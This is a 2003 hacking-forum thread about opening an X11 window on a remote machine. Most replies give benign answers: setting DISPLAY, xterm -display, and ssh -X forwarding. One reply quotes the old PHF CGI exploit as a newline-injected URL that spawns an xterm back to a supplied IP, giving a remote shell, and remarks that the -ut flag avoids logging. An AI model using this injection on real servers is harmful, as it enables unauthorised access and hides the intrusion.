Jump to content


Photo
- - - - -

X question


  • Please log in to reply
4 replies to this topic

#1 screamer

screamer

    SUPR3M3 31337 Mack Daddy P1MP

  • Members
  • 347 posts

Posted 07 July 2003 - 07:39 PM

Kills me to ask a question like this, but I've set up a network and want to open an x window on a remote machine (similar to the X11 security hole where you can connect to someone else's machine if they dont use xhost to block access). Problem is, I can't figure out what the damn command is! I've gone through the man pages on X, xdm, xconsole, etc, and can't find anything. Any help would be appreciated.

#2 bland_inquisitor

bland_inquisitor

    mod -o- the day

  • Agents of the Revolution
  • 729 posts

Posted 07 July 2003 - 07:49 PM

ssh into your box, and then send an Xterm to yourself.

/usr/X11R6/bin/xterm -ut -display your IP:0.0

as in the old PHF exploit /cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20your_ip:0.0

the -ut means that activity will not be logged, and you will have an xterm with a window of 0 and screen ID of 0

#3 screamer

screamer

    SUPR3M3 31337 Mack Daddy P1MP

  • Members
  • 347 posts

Posted 08 July 2003 - 12:44 PM

hmm, thought there was another way...my bad! thanks bland.

#4 vooduHAL

vooduHAL

    SUPR3M3 31337 Mack Daddy P1MP

  • Agents of the Revolution
  • 415 posts

Posted 08 July 2003 - 05:05 PM

Well, if you want any windows to come up remotely just do export DISPLAY=your.host.com:0.0 and now any x based app will come up on your remote machien.

#5 feend

feend

    microphone commander

  • Members
  • 497 posts

Posted 08 July 2003 - 07:19 PM

You can also tunnel it through ssh if you're so inclined

I think it's 'ssh -X <host>'....would have to check though.




BinRev is hosted by the great people at Lunarpages!